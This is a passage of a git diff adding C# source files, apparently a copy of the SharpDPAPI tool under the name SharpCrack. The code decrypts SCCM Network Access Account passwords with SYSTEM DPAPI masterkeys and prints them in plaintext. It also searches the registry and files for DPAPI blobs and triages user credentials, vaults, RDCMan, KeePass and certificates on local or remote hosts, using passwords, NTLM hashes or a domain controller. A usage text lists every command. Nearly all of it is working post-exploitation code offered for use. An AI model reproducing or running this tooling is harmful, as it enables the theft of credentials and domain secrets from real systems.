sccmConnection, string className) + { + using (ManagementClass managementClass = new ManagementClass(sccmConnection, new ManagementPath(className), new ObjectGetOptions())) + { + return managementClass.Properties + .Cast() + .Where( + property => property.Qualifiers + .Cast() + .Any(qualifier => string.Equals(qualifier.Name, "Key", StringComparison.OrdinalIgnoreCase)) + ) + .Select(property => property.Name) + .ToArray(); + } + } + + + public static void GetClassInstances(ManagementScope scope, string wmiClass, bool count = false, string[] properties = null, string whereCondition = null, string orderByColumn = null, bool dryRun = false, bool verbose = false) + { + try + { + string query = ""; + string propString = ""; + string whereClause = ""; + string orderByClause = ""; + + if (verbose || count || properties == null) + { + propString = "*"; + } + else + { + string[] keyPropertyNames = GetKeyPropertyNames(scope, wmiClass); + properties = keyPropertyNames.Union(properties).ToArray(); + propString = string.Join(",", properties); + } + if (!string.IsNullOrEmpty(whereCondition)) + { + whereClause = $"WHERE {whereCondition}"; + } + if (!string.IsNullOrEmpty(orderByColumn)) + { + orderByClause = $"ORDER BY {orderByColumn}"; + } + if (count) + { + query = $"SELECT COUNT({propString}) FROM {wmiClass} {whereClause}"; + } + else + { + query = $"SELECT {propString} FROM {wmiClass} {whereClause} {orderByClause}"; + } + + if (dryRun) + { + Console.WriteLine($"[*] WQL query: {query}"); + } + else + { + Console.WriteLine($"[*] Executing WQL query: {query}"); + ObjectQuery objQuery = new ObjectQuery(query); + ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, objQuery); + + foreach (ManagementObject queryObj in searcher.Get()) + { + // Get lazy properties unless we're just counting instances + if (!count) + { + queryObj.Get(); + } + foreach (PropertyData prop in queryObj.Properties) + { + // Print default properties if none specified, named properties if specified, or all properties if verbose + if (properties == null || properties.Length == 0 || properties.Contains(prop.Name) || count || verbose) + { + if (prop.IsArray) + { + // Test to see if we can display property values as strings, otherwise bail. Byte[] (e.g., Device.ObjectGUID) breaks things, Object[] (e.g., Collection.CollectionRules, Collection.RefreshSchedule) breaks things + if (prop.Value is String[]) + { + String[] nestedValues = (String[])(prop.Value); + Console.WriteLine($"{prop.Name}: {string.Join(", ", nestedValues)}"); + } + else if (prop.Value is int[]) + { + int[] nestedValues = (int[])(prop.Value); + string[] nestedValueStrings = nestedValues.Select(x => x.ToString()).ToArray(); + Console.WriteLine($"{prop.Name}: {string.Join(", ", nestedValueStrings)}"); + } + else + { + string canConvertToString = prop.Value as string; + if (canConvertToString != null) + { + Console.WriteLine($"{prop.Name}: {canConvertToString}"); + } + else + { + Console.WriteLine($"{prop.Name}: Can't display {prop.Type.ToString()} as a String"); + } + } + } + else + { + //Console.WriteLine("{0}: {1}", prop.Name, prop.Value); + } + } + } + } + } + } + catch (ManagementException err) + { + Console.WriteLine("An error occurred while querying for WMI data: " + err.Message); + } + } + + public static string NAADecrypt(string blob, Dictionary masterkeys) + { + byte[] blobBytes = new byte[blob.Length / 2]; + for (int i = 0; i < blob.Length; i += 2) + { + blobBytes[i / 2] = Byte.Parse(blob.Substring(i, 2), System.Globalization.NumberStyles.HexNumber); + } + + var offset = 4; + byte[] unmangedArray = new byte[blob.Length / 2]; + Buffer.BlockCopy(blobBytes, 4, unmangedArray, 0, blobBytes.Length - offset); + + blobBytes = unmangedArray; + + if (blobBytes.Length > 0) + { + byte[] decBytesRaw = Dpapi.DescribeDPAPIBlob(blobBytes, masterkeys, "blob"); + + if ((decBytesRaw != null) && (decBytesRaw.Length != 0)) + { + if (Helpers.IsUnicode(decBytesRaw)) + { + string data = ""; + int finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0); + if (finalIndex > 1) + { + byte[] decBytes = new byte[finalIndex + 1]; + Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex); + data = Encoding.Unicode.GetString(decBytes); + } + else + { + data = Encoding.ASCII.GetString(decBytesRaw); + } + + Console.WriteLine(" dec(blob) : {0}", data); + return data; + } + else + { + string hexData = BitConverter.ToString(decBytesRaw).Replace("-", " "); + Console.WriteLine(" dec(blob) : {0}", hexData); + return hexData; + } + } + else + { + return null; + } + } + else + { + return null; + } + } + + public static void LocalNetworkAccessAccountsWmi(Dictionary mappings) + { + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] Must be elevated to retrieve NAA blobs via WMI!"); + } + else + { + ManagementScope sccmConnection = NewSccmConnection("\\\\localhost\\root\\ccm\\policy\\Machine\\ActualConfig"); + if (sccmConnection != null) + { + GetClassInstances(sccmConnection, "CCM_NetworkAccessAccount"); + ManagementObjectSearcher searcher = new ManagementObjectSearcher(sccmConnection, new ObjectQuery("SELECT * FROM CCM_NetworkAccessAccount")); + ManagementObjectCollection accounts = searcher.Get(); + if (accounts.Count > 0) + { + foreach (ManagementObject account in accounts) + { + string protectedUsername = account["NetworkAccessUsername"].ToString().Split('[')[2].Split(']')[0]; + string protectedPassword = account["NetworkAccessPassword"].ToString().Split('[')[2].Split(']')[0]; + byte[] protectedUsernameBytes = Helpers.StringToByteArray(protectedUsername); + int length = (protectedUsernameBytes.Length + 16 - 1) / 16 * 16; + Array.Resize(ref protectedUsernameBytes, length); + + //Dictionary mappings = Triage.TriageSystemMasterKeys(); + + + + try + { + string username = ""; + string password = ""; + + Console.WriteLine("\r\n[*] Triaging SCCM Network Access Account Credentials\r\n"); + username = NAADecrypt(protectedUsername, mappings); + password = NAADecrypt(protectedPassword, mappings); + + Console.WriteLine(" Plaintext NAA Username : {0}", username); + Console.WriteLine(" Plaintext NAA Password : {0}", password); + } + catch (Exception e) + { + Console.WriteLine("[!] Data was not decrypted. An error occurred."); + Console.WriteLine(e.ToString()); + } + } + } + else + { + Console.WriteLine($"[+] Found 0 instances of CCM_NetworkAccessAccount"); + } + } + } + + } + + public static void ParseFile(string pathToFile, Dictionary masterkeys) + { + string fileData = ""; + MemoryStream ms = new MemoryStream(); + + if (String.IsNullOrEmpty(pathToFile)) + { + string path = @"C:\Windows\System32\wbem\Repository\OBJECTS.DATA"; + + using (FileStream fs = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) + using (var sr = new StreamReader(fs, Encoding.Default)) + { + fileData = sr.ReadToEnd(); + } + } + else + { + Console.WriteLine($"\r\n[*] Path to OBJECTS.DATA file: {pathToFile}\n"); + + fileData = File.ReadAllText(pathToFile); + } + + Regex regexData = new Regex(@"CCM_NetworkAccessAccount.*<\/PolicySecret>.*<\/PolicySecret>", RegexOptions.Multiline | RegexOptions.IgnoreCase | RegexOptions.Compiled); + var matchesData = regexData.Matches(fileData); + + if (matchesData.Count <= 0) + { + Console.WriteLine("\r\n[x] No \"NetworkAccessAccount\" match found!"); + } + + for (int index = 0; index < matchesData.Count; index++) + { + for (int idxGroup = 1; idxGroup < matchesData[index].Groups.Count; idxGroup++) + { + try + { + string naaPlaintext = ""; + + Console.WriteLine("\r\n[*] Triaging SCCM Network Access Account Credentials\r\n"); + naaPlaintext = NAADecrypt(matchesData[index].Groups[idxGroup].Value, masterkeys); + Console.WriteLine(" Plaintext NAA : {0}", naaPlaintext); + Console.WriteLine(); + } + catch (Exception e) + { + Console.WriteLine("[!] Data was not decrypted. An error occurred."); + Console.WriteLine(e.ToString()); + } + + } + } + } + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: SCCM Triage"); + arguments.Remove("SCCM"); + + Dictionary masterkeys = new Dictionary(); + + if (arguments.ContainsKey("/mkfile")) + { + Console.WriteLine("\r\n[*] Using a give masterkeys file"); + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else + { + Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); + masterkeys = Triage.TriageSystemMasterKeys(); + } + + foreach (KeyValuePair kvp in masterkeys) + { + Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + } + + Console.WriteLine(); + + if (arguments.ContainsKey("/useobjectfile")) + { + string pathToFile = ""; + + if (arguments.ContainsKey("/pathToFile")) + { + pathToFile = arguments["/pathToFile"]; + } + + ParseFile(pathToFile, masterkeys); + } + else + { + LocalNetworkAccessAccountsWmi(masterkeys); + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/Search.cs b/SharpCrack/DPAPI/Commands/Search.cs new file mode 100644 index 0000000..f876fbe --- /dev/null +++ b/SharpCrack/DPAPI/Commands/Search.cs @@ -0,0 +1,360 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Text.RegularExpressions; +using Microsoft.Win32; + +namespace SharpDPAPI.Commands +{ + public class Search : ICommand + { + public static string CommandName => "search"; + delegate void ProcessFileCallback(string path, bool showErrors); + + + private static readonly byte[] dpapiBlobHeader = + { + // Version(4 bytes) | DPAPI Proivder Guid(16-bytes - df9d8cd0-1501-11d1-8c7a-00c04fc297eb) + 0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB + }; + + private readonly byte[][] dpapiBlobSearches = + { + dpapiBlobHeader, + + // The following are potential base64 representations of the DPAPI provider GUID + // Generated by putting dpapiProviderGuid into the script here: https://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/ + System.Text.Encoding.ASCII.GetBytes("AAAA0Iyd3wEV0RGMegDAT8KX6"), + System.Text.Encoding.ASCII.GetBytes("AQAAANCMnd8BFdERjHoAwE/Cl+"), + System.Text.Encoding.ASCII.GetBytes("EAAADQjJ3fARXREYx6AMBPwpfr"), + + // Hex string representation + System.Text.Encoding.ASCII.GetBytes("01000000D08C9DDF0115D1118C7A00C04FC297EB") + }; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Searching for DPAPI blobs"); + + if (!arguments.ContainsKey("/type")) + arguments["/type"] = "registry"; + + Console.WriteLine($"[*] Search type: {arguments["/type"]}"); + + switch (arguments["/type"]) + { + case "registry": + SearchRegistry(arguments); + break; + + case "folder": + SearchFolder(arguments); + break; + + case "file": + SearchFile(arguments); + break; + + case "base64": + SearchBase64(arguments); + break; + + default: + throw new ArgumentException($"Unknown /type parameter '{arguments["/type"]}'"); + } + } + + private void SearchFolder(Dictionary arguments) + { + if (!arguments.ContainsKey("/path")) + throw new ArgumentException("/path argument not specified"); + + var path = arguments["/path"]; + var showErrors = arguments.ContainsKey("/showErrors"); + + if (!Directory.Exists(path)) + throw new ArgumentException($"The folder '{path}' does not exist"); + + uint maxBytes = 1024; + if (arguments.ContainsKey("/maxBytes") && !uint.TryParse(arguments["/maxBytes"], out maxBytes)) + throw new ArgumentException($"Invalid uint value '{arguments["/maxBytes"]}' in the /maxBytes argument"); + + Console.WriteLine($"[*] Searching for the folder {path} for files potentially containing DPAPI blobs in the first {maxBytes} bytes\n"); + + FindFiles(path, maxBytes, showErrors, (filePath, displayErrors) => + { + try + { + if (FileContainsDpapiBlob(filePath, maxBytes)) + Console.WriteLine(filePath); + } + catch (Exception e) + { + if (displayErrors) + Console.WriteLine($"File Processing ERROR: {filePath} - {e.Message}"); + } + }); + } + + + private void FindFiles(string path, uint maxBytes, bool showErrors, ProcessFileCallback processFile) + { + // Modified largely from https://developerslogblog.wordpress.com/2020/02/25/c-how-to-find-all-files-recursively-in-a-folder/ + var paths = new List(); + var directoriesQueue = new Queue(); + directoriesQueue.Enqueue(path); + + while (directoriesQueue.Count > 0) + { + var currentPath = (string)directoriesQueue.Dequeue(); + + try + { + //Console.WriteLine("Processing folder " + currentPath); + var directories = Directory.GetDirectories(currentPath); + foreach (var directory in directories) + directoriesQueue.Enqueue(directory); + + foreach (var file in Directory.GetFiles(currentPath)) + processFile(file, showErrors); + } + catch (Exception e) + { + if (showErrors) + Console.WriteLine($"ERROR: {e}"); + } + } + } + + + private void SearchFile(Dictionary arguments) + { + if (!arguments.ContainsKey("/path")) + throw new ArgumentException("/path argument not specified"); + + var path = arguments["/path"]; + + if (!File.Exists(path)) + throw new ArgumentException($"The file '{path}' does not exist"); + + uint maxBytes = 1024; + if (arguments.ContainsKey("/maxBytes") && !uint.TryParse(arguments["/maxBytes"], out maxBytes)) + throw new ArgumentException($"Invalid uint value '{arguments["/maxBytes"]}' in the /maxBytes argument"); + + Console.WriteLine($"[*] Searching for DPAPI blobs in the file {path}\n"); + if (FileContainsDpapiBlob(path, maxBytes)) + Console.WriteLine($"Found potential DPAPI blob at {path}"); + else + Console.WriteLine("No DPAPI blob found"); + } + + private bool FileContainsDpapiBlob(string path, uint bytesToSearch) + { + var fileContents = new byte[bytesToSearch]; + using (var file = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) + { + file.Read(fileContents, 0, (int)bytesToSearch); + } + + return ContainsDpapiBlob(fileContents); + } + + private void SearchBase64(Dictionary arguments) + { + if (!arguments.ContainsKey("/base64")) + throw new ArgumentException("/base64 argument not found"); + + ContainsDpapiBlob(Convert.FromBase64String(arguments["/base64"])); + } + + private void SearchRegistry(Dictionary arguments) + { + var showErrors = arguments.ContainsKey("/showErrors"); + + + if (arguments.ContainsKey("/path")) + { + string keyPath; + RegistryHive hive; + // Based on Seatbelt's code here: https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Commands/Windows/RegistryValueCommand.cs#L43-L60 + var path = arguments["/path"]; + var separatorPos = path.IndexOf("\\"); + + if (separatorPos == -1) // e.g. HKLM + { + hive = GetHive(path); + keyPath = "\\"; + } + else if (separatorPos == path.Length) // e.g. HKLM\ + { + var hiveStr = path.Substring(0, separatorPos); + hive = GetHive(hiveStr); + keyPath = "\\"; + } + else // e.g. HKLM\Software + { + var hiveStr = path.Substring(0, separatorPos); + hive = GetHive(hiveStr); + keyPath = path.Substring(separatorPos + 1); + } + + Console.WriteLine($"[*] Searching the key '{path}' for DPAPI blobs. Hive: {hive} Path: {keyPath}{(showErrors ? " (Displaying all errors)" : "")}\n"); + + var root = RegistryKey.OpenRemoteBaseKey(hive, "").OpenSubKey(keyPath, RegistryKeyPermissionCheck.ReadSubTree); + foreach (var match in FindRegistryBlobs(root, showErrors)) + { + Console.WriteLine(match); + } + } + else + { + Console.WriteLine($"[*] Searching the key HLKM and HKCU hives for DPAPI blobs\n"); + + var matchingKeys = new List(); + Console.WriteLine("[*] Searching USERS hive:\n"); + foreach (var match in FindRegistryBlobs(Registry.Users.OpenSubKey("\\", RegistryKeyPermissionCheck.ReadSubTree), showErrors)) + { + Console.WriteLine(match); + } + + matchingKeys.Clear(); + Console.WriteLine("\n\n[*] Searching HKLM hive:\n"); + + foreach (var match in FindRegistryBlobs(Registry.LocalMachine.OpenSubKey("\\", RegistryKeyPermissionCheck.ReadSubTree), showErrors)) + { + Console.WriteLine(match); + } + } + } + + // From Seatbelt: https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Util/RegistryUtil.cs#L440 + public static RegistryHive GetHive(string name) + { + switch (name.ToUpper()) + { + case "HKCR": + case "HKEY_CLASSES_ROOT": + return RegistryHive.ClassesRoot; + + case "HKEY_CURRENT_CONFIG": + return RegistryHive.CurrentConfig; + + case "HKCU": + case "HKEY_CURRENT_USER": + return RegistryHive.CurrentUser; + + case "HKLM": + case "HKEY_LOCAL_MACHINE": + return RegistryHive.LocalMachine; + + case "HKEY_PERFORMANCE_DATA": + return RegistryHive.PerformanceData; + + case "HKU": + case "HKEY_USERS": + return RegistryHive.Users; + + default: + throw new Exception("UnknownRegistryHive"); + } + } + + private IEnumerable FindRegistryBlobs(RegistryKey root, bool reportErrors) + { + var toCheck = new LinkedList(); + toCheck.AddLast(root); + Console.WriteLine("Root: " + root); + + while (toCheck.Count > 0) + { + root = toCheck.First.Value; + toCheck.RemoveFirst(); + + if (root == null) + continue; + + var valueNames = new string[] { }; + + try + { + valueNames = root.GetValueNames(); + } + catch + { + if (reportErrors) + Console.WriteLine($"ERROR: Could not list values for {root}"); + } + + foreach (var name in valueNames) + { + var valueKind = root.GetValueKind(name); + switch (valueKind) + { + case RegistryValueKind.MultiString: + case RegistryValueKind.ExpandString: + case RegistryValueKind.String: + var value = root.GetValue(name); + + var str = value.GetType() == typeof(string[]) + ? string.Join("",(string[])value) + : (string)value; + + // Regex generated by putting dpapiProviderGuid into the script here: https://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/ + if (Regex.IsMatch(str, "(AAAA0Iyd3wEV0RGMegDAT8KX6|AQAAANCMnd8BFdERjHoAwE/Cl+|EAAADQjJ3fARXREYx6AMBPwpfr|01000000D08C9DDF0115D1118C7A00C04FC297EB)")) + { + yield return $"{root.Name} ! {(name == "" ? "Default" : name)}"; + } + + break; + + case RegistryValueKind.Binary: + if (ContainsDpapiBlob((byte[])root.GetValue(name))) + { + yield return $"{root.Name} ! {(name == "" ? "Default" : name)}"; + } + break; + } + } + + + var subkeyNames = new string[] { }; + + try + { + subkeyNames = root.GetSubKeyNames(); + } + catch + { + if (reportErrors) + Console.WriteLine($"ERROR: Could not list subkeys of {root}"); + } + foreach (var sub in subkeyNames) + { + try + { + var subkey = root.OpenSubKey(sub); + toCheck.AddLast(subkey); + } + catch (Exception e) + { + if (reportErrors) + Console.WriteLine($"ERROR: Failed to open {root}\\{sub}. Message: {e.Message}"); + } + } + } + } + + private bool ContainsDpapiBlob(byte[] bytes) + { + //return bytes.Contains(dpapiProviderGuid); + foreach (var searchBytes in dpapiBlobSearches) + { + if (bytes.Contains(searchBytes)) + return true; + } + + return false; + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/Triage.cs b/SharpCrack/DPAPI/Commands/Triage.cs new file mode 100644 index 0000000..859adc1 --- /dev/null +++ b/SharpCrack/DPAPI/Commands/Triage.cs @@ -0,0 +1,88 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpDPAPI.Commands +{ + public class UserTriage : ICommand + { + public static string CommandName => "triage"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: User DPAPI Credential and Vault Triage\r\n"); + arguments.Remove("triage"); + + string server = ""; // used for remote server specification + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } + + // {GUID}:SHA1 keys are the only ones that don't start with / + Dictionary masterkeys = new Dictionary(); + foreach (KeyValuePair entry in arguments) + { + if (!entry.Key.StartsWith("/")) + { + masterkeys.Add(entry.Key, entry.Value); + } + } + if (arguments.ContainsKey("/pvk")) + { + masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); + } + else if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else if (arguments.ContainsKey("/password")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); + } + + if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password")) + { + Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !"); + } + else + { + Triage.TriageUserCreds(masterkeys, server); + Triage.TriageUserVaults(masterkeys, server); + + Console.WriteLine(); + if (masterkeys.Count == 0) + { + // try to use CryptUnprotectData if no GUID lookups supplied + Triage.TriageRDCMan(masterkeys, server, true); + Triage.TriageKeePass(masterkeys, server, true); + } + else + { + Triage.TriageRDCMan(masterkeys, server, false); + Triage.TriageKeePass(masterkeys, server, false); + } + + Triage.TriageUserCerts(masterkeys, server, false); + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/Vaults.cs b/SharpCrack/DPAPI/Commands/Vaults.cs new file mode 100644 index 0000000..350e7db --- /dev/null +++ b/SharpCrack/DPAPI/Commands/Vaults.cs @@ -0,0 +1,89 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpDPAPI.Commands +{ + public class Vaults : ICommand + { + public static string CommandName => "vaults"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: User DPAPI Vault Triage\r\n"); + arguments.Remove("vaults"); + + string server = ""; // used for remote server specification + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } + + // {GUID}:SHA1 keys are the only ones that don't start with / + Dictionary masterkeys = new Dictionary(); + foreach (KeyValuePair entry in arguments) + { + if (!entry.Key.StartsWith("/")) + { + masterkeys.Add(entry.Key, entry.Value); + } + } + if (arguments.ContainsKey("/pvk")) + { + // use a domain DPAPI backup key to triage masterkeys + masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); + } + else if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else if (arguments.ContainsKey("/password")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); + } + + if (arguments.ContainsKey("/target")) + { + string target = arguments["/target"].Trim('"').Trim('\''); + + if (Directory.Exists(target)) + { + Triage.TriageVaultFolder(target, masterkeys); + } + else + { + Console.WriteLine("\r\n[X] '{0}' is not a valid Vault directory.", target); + } + } + else + { + if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password")) + { + Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !"); + } + else + { + Triage.TriageUserVaults(masterkeys, server); + } + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Domain/ArgumentParser.cs b/SharpCrack/DPAPI/Domain/ArgumentParser.cs new file mode 100644 index 0000000..3b02c47 --- /dev/null +++ b/SharpCrack/DPAPI/Domain/ArgumentParser.cs @@ -0,0 +1,31 @@ +using System.Collections.Generic; +using System.Diagnostics; + +namespace SharpDPAPI.Domain +{ + public static class ArgumentParser + { + public static ArgumentParserResult Parse(IEnumerable args) + { + var arguments = new Dictionary(); + try + { + foreach (var argument in args) + { + var idx = argument.IndexOf(':'); + if (idx > 0) + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + else + arguments[argument] = string.Empty; + } + + return ArgumentParserResult.Success(arguments); + } + catch (System.Exception ex) + { + Debug.WriteLine(ex.Message); + return ArgumentParserResult.Failure(); + } + } + } +} diff --git a/SharpCrack/DPAPI/Domain/ArgumentParserResult.cs b/SharpCrack/DPAPI/Domain/ArgumentParserResult.cs new file mode 100644 index 0000000..092a9eb --- /dev/null +++ b/SharpCrack/DPAPI/Domain/ArgumentParserResult.cs @@ -0,0 +1,23 @@ +using System.Collections.Generic; + +namespace SharpDPAPI.Domain +{ + public class ArgumentParserResult + { + public bool ParsedOk { get; } + public Dictionary Arguments { get; } + + private ArgumentParserResult(bool parsedOk, Dictionary arguments) + { + ParsedOk = parsedOk; + Arguments = arguments; + } + + public static ArgumentParserResult Success(Dictionary arguments) + => new ArgumentParserResult(true, arguments); + + public static ArgumentParserResult Failure() + => new ArgumentParserResult(false, null); + + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Domain/CommandCollection.cs b/SharpCrack/DPAPI/Domain/CommandCollection.cs new file mode 100644 index 0000000..430b847 --- /dev/null +++ b/SharpCrack/DPAPI/Domain/CommandCollection.cs @@ -0,0 +1,58 @@ +using System; +using System.Collections.Generic; +using SharpDPAPI.Commands; + +namespace SharpDPAPI.Domain +{ + public class CommandCollection + { + private readonly Dictionary> _availableCommands = new Dictionary>(); + + // How To Add A New Command: + // 1. Create your command class in the Commands Folder + // a. That class must have a CommandName static property that has the Command's name + // and must also Implement the ICommand interface + // b. Put the code that does the work into the Execute() method + // 2. Add an entry to the _availableCommands dictionary in the Constructor below. + + public CommandCollection() + { + _availableCommands.Add(Backupkey.CommandName, () => new Backupkey()); + _availableCommands.Add(Blob.CommandName, () => new Blob()); + _availableCommands.Add(Credentials.CommandName, () => new Credentials()); + _availableCommands.Add(Keepass.CommandName, () => new Keepass()); + _availableCommands.Add(Machinecredentials.CommandName, () => new Machinecredentials()); + _availableCommands.Add(Machinemasterkeys.CommandName, () => new Machinemasterkeys()); + _availableCommands.Add(Machinetriage.CommandName, () => new Machinetriage()); + _availableCommands.Add(Machinevaults.CommandName, () => new Machinevaults()); + _availableCommands.Add(Masterkeys.CommandName, () => new Masterkeys()); + _availableCommands.Add(PS.CommandName, () => new PS()); + _availableCommands.Add(RDG.CommandName, () => new RDG()); + _availableCommands.Add(UserTriage.CommandName, () => new UserTriage()); + _availableCommands.Add(Vaults.CommandName, () => new Vaults()); + _availableCommands.Add(Certificate.CommandName, () => new Certificate()); + _availableCommands.Add(Search.CommandName, () => new Search()); + _availableCommands.Add(SCCM.CommandName, () => new SCCM()); + } + + public bool ExecuteCommand(string commandName, Dictionary arguments) + { + bool commandWasFound; + + if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) + commandWasFound= false; + else + { + // Create the command object + var command = _availableCommands[commandName].Invoke(); + + // and execute it with the arguments from the command line + command.Execute(arguments); + + commandWasFound = true; + } + + return commandWasFound; + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Domain/Info.cs b/SharpCrack/DPAPI/Domain/Info.cs new file mode 100644 index 0000000..c88c3d4 --- /dev/null +++ b/SharpCrack/DPAPI/Domain/Info.cs @@ -0,0 +1,92 @@ +using System; + +namespace SharpDPAPI.Domain +{ + public static class Info + { + public static void ShowLogo() + { + Console.WriteLine("\r\n __ _ _ _ ___ "); + Console.WriteLine(" (_ |_ _. ._ ._ | \\ |_) /\\ |_) | "); + Console.WriteLine(" __) | | (_| | |_) |_/ | /--\\ | _|_ "); + Console.WriteLine(" | "); + Console.WriteLine(" v{0} \r\n", SharpDPAPI.Version.version); + } + + public static void ShowUsage() + { + string usage = @" + +Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file: + + SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk] + + +The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs: + + search /type:registry [/path:HKLM\path\to\key] [/showErrors] + search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] + search /type:file /path:C:\path\to\file [/maxBytes:] + search /type:base64 [/base:] + + +Machine/SYSTEM Triage: + + machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret) + machinecredentials - use 'machinemasterkeys' and then triage machine Credential files + machinevaults - use 'machinemasterkeys' and then triage machine Vaults + machinetriage - run the 'machinecredentials' and 'machinevaults' commands + + +User Triage: + + Arguments for the 'masterkeys' command: + + /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) + /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys + /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so + /server:SERVER - triage a remote server, assuming admin access + /hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption) + + + Arguments for the credentials|vaults|rdg|keepass|triage|blob|ps commands: + + Decryption: + /unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands + /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys + /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption + /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption + + Targeting: + /target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder + /server:SERVER - triage a remote server, assuming admin access + Note: must use with /pvk:KEY or /password:X + Note: not applicable to 'blob' or 'ps' commands + + +Certificate Triage: + + Arguments for the 'certificates' command: + /showall - show all decrypted private key files, 